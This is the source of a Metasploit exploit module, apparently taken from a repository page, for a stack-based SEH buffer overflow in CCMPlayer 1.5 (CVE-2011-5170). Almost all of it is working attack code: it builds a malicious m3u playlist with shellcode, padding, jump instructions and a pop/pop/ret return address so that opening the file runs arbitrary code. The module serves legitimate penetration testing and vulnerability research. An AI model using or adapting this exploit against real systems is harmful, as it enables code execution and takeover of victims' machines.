Path: blob/master/modules/exploits/windows/fileformat/ccmplayer_m3u_bof.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',15'Description' => %q{16This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening17a m3u playlist with a long track name, a SEH exception record can be overwritten18with parts of the controllable buffer. SEH execution is triggered after an19invalid read of an injectable address, thus allowing arbitrary code execution.20This module works on multiple Windows platforms including: Windows XP SP3,21Windows Vista, and Windows 7.22},23'License' => MSF_LICENSE,24'Author' => ['Rh0'], # discovery and metasploit module25'References' => [26['CVE', '2011-5170'],27['OSVDB', '77453'],28['EDB', '18178']29],30'DefaultOptions' => {31'EXITFUNC' => 'process',32'DisablePayloadHandler' => true33},34'Payload' => {35'Space' => 0x1000,36'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\37'DisableNops' => true,38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[43'CCMPlayer 1.5',44{45# pop esi / pop ebx / ret (in ccmplay.exe)46# tweak it if necessary47'Ret' => 0x00403ca7, # last NULL in buffer is accepted48'Offset' => 0x100049}50]51],52'Privileged' => false,53'DisclosureDate' => '2011-11-30', # to my knowledge54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),66]67)68end6970def exploit71m3u = "C:\\"72# shellcode73m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 2574m3u << payload.encoded75# junk76m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))77# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)78# to trigger SEH79m3u << [0xffffffff].pack("V")80# pad81m3u << rand_text_alpha_upper(3)82# long jmp: jmp far back to shellcode83m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string84# NSEH: jmp short back to long jmp instruction85m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string86# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)87m3u << rand_text_alpha_upper(2)88# SEH Exception Handler Address -> p/p/r89m3u << [target.ret].pack("V")90m3u << ".mp3\r\n" # no crash without it9192print_status("Creating '#{datastore['FILENAME']}' file ...")9394# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit95file_create(m3u)96end97end9899100